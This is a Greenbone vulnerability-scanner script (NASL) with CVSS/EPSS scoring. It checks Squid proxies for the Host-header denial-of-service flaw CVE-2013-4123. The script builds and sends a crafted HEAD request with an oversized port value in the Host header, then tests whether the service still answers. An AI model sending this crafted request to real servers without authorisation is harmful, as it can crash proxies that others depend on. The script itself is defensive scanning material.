6.2 Medium
AI Score
Confidence
Low
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.103 Low
EPSS
Percentile
94.9%
Squid is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:squid-cache:squid";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802057");
script_version("2023-07-21T05:05:22+0000");
script_cve_id("CVE-2013-4123");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2013-08-12 12:42:47 +0530 (Mon, 12 Aug 2013)");
script_name("Squid Host Header DoS Vulnerability (SQUID-2013:3)");
script_tag(name:"summary", value:"Squid is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"vuldetect", value:"Send crafted 'Host' header request and check is it vulnerable to DoS.");
script_tag(name:"solution", value:"Update to version 3.2.13, 3.3.8 or later.");
script_tag(name:"insight", value:"Error when handling port number values within the 'Host' header
of HTTP requests.");
script_tag(name:"affected", value:"Squid version 3.2 through 3.2.12 and versions 3.3 through
3.3.7.");
script_tag(name:"impact", value:"Successful exploitation could allow remote attackers to cause a
denial of service via a crafted port number values in the 'Host' header.");
script_xref(name:"URL", value:"http://www.scip.ch/en/?vuldb.9547");
script_xref(name:"URL", value:"http://secunia.com/advisories/54142");
script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Jul/98");
script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/527294");
script_xref(name:"URL", value:"http://www.squid-cache.org/Advisories/SQUID-2013_3.txt");
script_category(ACT_DENIAL);
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
script_copyright("Copyright (C) 2013 Greenbone AG");
script_family("Denial of Service");
script_dependencies("gb_squid_http_detect.nasl");
script_mandatory_keys("squid/http/detected");
script_require_ports("Services/www", "Services/http_proxy", 3128);
exit(0);
}
include("host_details.inc");
include("http_func.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
exit(0);
useragent = http_get_user_agent();
crafted_port_value = crap(length:2000, data:"AZ");
crafted_req = string("HEAD http://testhostdoesnotexists.com HTTP/1.1\r\n",
"Host: ", "testhostdoesnotexists.com", ":", crafted_port_value, "\r\n",
"User-Agent: ", useragent, "\r\n", "\r\n");
crafted_res = http_send_recv(port:port, data:crafted_req);
sleep(3);
soc = http_open_socket(port);
if(!soc){
security_message(port:port);
exit(0);
}
http_close_socket(soc);
exit(99);